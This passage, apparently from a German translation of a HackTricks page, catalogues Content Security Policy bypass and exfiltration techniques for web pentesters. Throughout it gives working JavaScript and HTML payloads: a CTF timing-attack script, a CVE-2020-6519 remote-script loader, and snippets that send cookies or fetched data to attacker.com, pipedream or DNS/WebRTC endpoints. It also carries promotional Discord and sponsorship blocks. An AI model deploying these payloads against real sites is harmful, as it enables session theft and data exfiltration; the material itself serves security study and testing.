Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt wurde, zu laden**. Wenn zum Beispiel die Seite das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild erstellen**, es auf Twitter hochladen und die "**unsafe-inline**" missbrauchen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild lädt**, den **JS-Code** daraus extrahiert und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

### Mit Service Workern

Die Funktion **`importScripts`** von Service Workern ist nicht durch CSP eingeschränkt:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}

### Policy Injection

**Forschung:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

#### Chrome

Wenn ein von Ihnen gesendeter **Parameter** innerhalb der **Deklaration** der **Policy eingefügt** wird, könnten Sie die Policy auf eine Weise ändern, die sie **nutzlos macht**. Sie könnten das Ausführen von Skripten mit 'unsafe-inline' mit einer dieser Umgehungen erlauben:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Weil diese Anweisung vorhandene script-src-Anweisungen überschreibt.\
Ein Beispiel finden Sie hier: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

#### Edge

In Edge ist es viel einfacher. Wenn Sie dies einfach in die CSP hinzufügen: **`;_`** **Edge** würde die gesamte **Richtlinie** **verwerfen**.\
Beispiel: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)

### img-src \*; über XSS (iframe) - Time-Angriff

Beachten Sie das Fehlen der Anweisung `'unsafe-inline'`\
Dieses Mal können Sie das Opfer dazu bringen, eine Seite unter **Ihrer Kontrolle** über **XSS** mit einem `<iframe` zu **laden**. Dieses Mal lassen Sie das Opfer auf die Seite zugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie die **Ladezeit der Seite kontrollieren können**, können Sie die benötigten Informationen extrahieren.

Dieses Mal wird eine **Flagge** extrahiert, immer wenn ein **Zeichen richtig geraten** wird, dauert die **Antwort** aufgrund der Sleep-Funktion **länger**. Dann können Sie die Flagge extrahieren:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>
```
### Über Bookmarklets

Dieser Angriff würde eine gewisse soziale Manipulation erfordern, bei der der Angreifer den Benutzer dazu überredet, einen Link über das Bookmarklet des Browsers zu ziehen und abzulegen. Dieses Bookmarklet würde bösartigen JavaScript-Code enthalten, der beim Ziehen und Ablegen oder Anklicken im Kontext des aktuellen Webfensters ausgeführt wird, wodurch die CSP umgangen wird und es möglich ist, sensible Informationen wie Cookies oder Tokens zu stehlen.

Weitere Informationen finden Sie in [**dem ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

### CSP-Umgehung durch Einschränkung der CSP

In [**diesem CTF-Writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird die CSP umgangen, indem in einem erlaubten iframe eine restriktivere CSP eingefügt wird, die das Laden einer bestimmten JS-Datei untersagt. Diese Datei ermöglicht dann über **Prototyp-Verschmutzung** oder **DOM-Überschreibung** das Ausnutzen eines anderen Skripts zum Laden eines beliebigen Skripts.

Sie können eine CSP eines Iframes mit dem Attribut **`csp`** einschränken:

{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}

In [**diesem CTF-Writeup**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP weiter einzuschränken**, sodass ein Skript, das CSTI verhindert, deaktiviert wurde und somit die **Schwachstelle ausnutzbar wurde**.\
CSP kann mit Hilfe von **HTML-Meta-Tags** restriktiver gestaltet werden und Inline-Skripte können **deaktiviert werden**, indem der **Eintrag** entfernt wird, der ihre **Nonce** erlaubt, und **spezifische Inline-Skripte über sha aktiviert werden**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### JS-Exfiltration mit Content-Security-Policy-Report-Only

Wenn es Ihnen gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten und einen **von Ihnen kontrollierten Wert** zurückzugeben (vielleicht aufgrund eines CRLF), könnten Sie ihn auf Ihren Server verweisen lassen. Wenn Sie den **JS-Inhalt**, den Sie exfiltrieren möchten, mit **`<script>`** umschließen und da `unsafe-inline` höchstwahrscheinlich nicht durch die CSP erlaubt ist, wird dies einen CSP-Fehler auslösen und ein Teil des Skripts (der die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an den Server gesendet.

Für ein Beispiel [**schauen Sie sich dieses CTF-Writeup an**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Informationen mit CSP und Iframe leaken

- Es wird ein `iframe` erstellt, das auf eine URL verweist (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist.
- Diese URL leitet dann auf eine geheime URL (z.B. `https://usersecret.example2.com`) weiter, die **nicht** von CSP erlaubt ist.
- Durch das Abhören des `securitypolicyviolation`-Ereignisses kann die Eigenschaft `blockedURI` erfasst werden. Diese Eigenschaft enthüllt die Domain der blockierten URI und leakt somit die geheime Domain, zu der die ursprüngliche URL weitergeleitet wurde.

Interessanterweise haben Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit Iframes in Bezug auf CSP, was zu potenziellen Lecks sensibler Informationen aufgrund von undefiniertem Verhalten führen kann.

Eine andere Technik besteht darin, das CSP selbst auszunutzen, um die geheime Subdomain zu ermitteln. Diese Methode basiert auf einem binären Suchalgorithmus und passt das CSP an, um bestimmte Domains einzuschließen, die absichtlich blockiert sind. Wenn die geheime Subdomain beispielsweise aus unbekannten Zeichen besteht, können verschiedene Subdomains iterativ getestet werden, indem die CSP-Direktive geändert wird, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Codeausschnitt, der zeigt, wie das CSP eingerichtet werden könnte, um diese Methode zu erleichtern:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Durch Überwachung, welche Anfragen von der CSP blockiert oder erlaubt werden, kann man die möglichen Zeichen in der geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken.

Beide Methoden nutzen die Feinheiten der CSP-Implementierung und des Verhaltens in Browsern aus und zeigen, wie scheinbar sichere Richtlinien versehentlich sensible Informationen preisgeben können.

Trick von [**hier**](https://ctftime.org/writeup/29310).

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

**Echtzeit-Hack-News**\
Bleiben Sie mit den schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.

**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.

**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

## Unsichere Technologien zur Umgehung der CSP

### Überlastung des PHP-Antwortpuffers

PHP ist dafür bekannt, standardmäßig die Antwort auf 4096 Bytes zu puffern. Daher wird, wenn PHP eine Warnung anzeigt, durch Bereitstellung von ausreichend Daten innerhalb der Warnungen die Antwort vor dem CSP-Header gesendet, wodurch der Header ignoriert wird.\
Die Technik besteht dann im Wesentlichen darin, den Antwortpuffer mit Warnungen zu füllen, damit der CSP-Header nicht gesendet wird.

Idee von [**diesem Writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).

### Fehlerseite umschreiben

Aus [**diesem Writeup**](https://blog.ssrf.kr/69) geht hervor, dass es möglich war, einen CSP-Schutz zu umgehen, indem eine Fehlerseite (potenziell ohne CSP) geladen und ihr Inhalt umgeschrieben wurde.
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
```
### SOME + 'self' + Wordpress

SOME ist eine Technik, die eine XSS (oder stark eingeschränkte XSS) in einem Endpunkt einer Seite ausnutzt, um andere Endpunkte derselben Herkunft zu missbrauchen. Dies geschieht, indem der verwundbare Endpunkt von einer Angreiferseite geladen und dann die Angreiferseite zum echten Endpunkt in derselben Herkunft aktualisiert wird, den Sie missbrauchen möchten. Auf diese Weise kann der verwundbare Endpunkt das `opener`-Objekt im Payload verwenden, um auf den DOM des echten Endpunkts zuzugreifen und ihn zu missbrauchen. Weitere Informationen finden Sie unter:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}

Darüber hinaus verfügt **Wordpress** über einen **JSONP**-Endpunkt in `/wp-json/wp/v2/users/1?_jsonp=data`, der die gesendeten Daten in der Ausgabe widerspiegelt (mit der Einschränkung, dass nur Buchstaben, Zahlen und Punkte erlaubt sind).

Ein Angreifer kann diesen Endpunkt missbrauchen, um einen SOME-Angriff gegen Wordpress zu generieren und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachten Sie, dass dieses Skript geladen wird, weil es von 'self' erlaubt ist. Darüber hinaus und weil Wordpress installiert ist, könnte ein Angreifer den SOME-Angriff über den verwundbaren Callback-Endpunkt missbrauchen, der die CSP umgeht, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...
Weitere Informationen dazu, wie dieser Angriff durchgeführt wird, finden Sie unter [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

## CSP-Exfiltration-Bypasses

Wenn eine strenge CSP vorhanden ist, die es Ihnen nicht erlaubt, mit externen Servern zu interagieren, gibt es einige Dinge, die Sie immer tun können, um die Informationen zu exfiltrieren.

### Location

Sie können einfach die Location aktualisieren, um dem Server des Angreifers die geheimen Informationen zu senden:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### Meta-Tag

Sie können eine Weiterleitung durch das Einfügen eines Meta-Tags vornehmen (dies ist lediglich eine Weiterleitung, es werden keine Inhalte preisgegeben).
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS-Vorabberechnung

Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen vorab auflösen und zwischenspeichern.\
Sie können einen Browser anweisen, einen Hostnamen mit `<link reol="dns-prefetch" href="something.com">` vorab aufzulösen.

Sie könnten dieses Verhalten missbrauchen, um **sensible Informationen über DNS-Anfragen zu exfiltrieren**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
Eine andere Möglichkeit:
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
Um dies zu vermeiden, kann der Server den HTTP-Header senden:
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Anscheinend funktioniert diese Technik nicht in headless Browsern (Bots).
{% endhint %}

### WebRTC

Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie** des CSP nicht überprüft.

Tatsächlich können Informationen durch eine _DNS-Anfrage_ "geleakt" werden. Schau dir diesen Code an:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
Eine weitere Option:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Überprüfen von CSP-Richtlinien online

* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

## Automatisches Erstellen von CSP

[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

## Referenzen

* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)


​

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

**Echtzeit-Hack-News**\
Bleiben Sie mit den neuesten Nachrichten und Erkenntnissen aus der schnelllebigen Hacking-Welt auf dem Laufenden.

**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.

**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!

<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.

</details>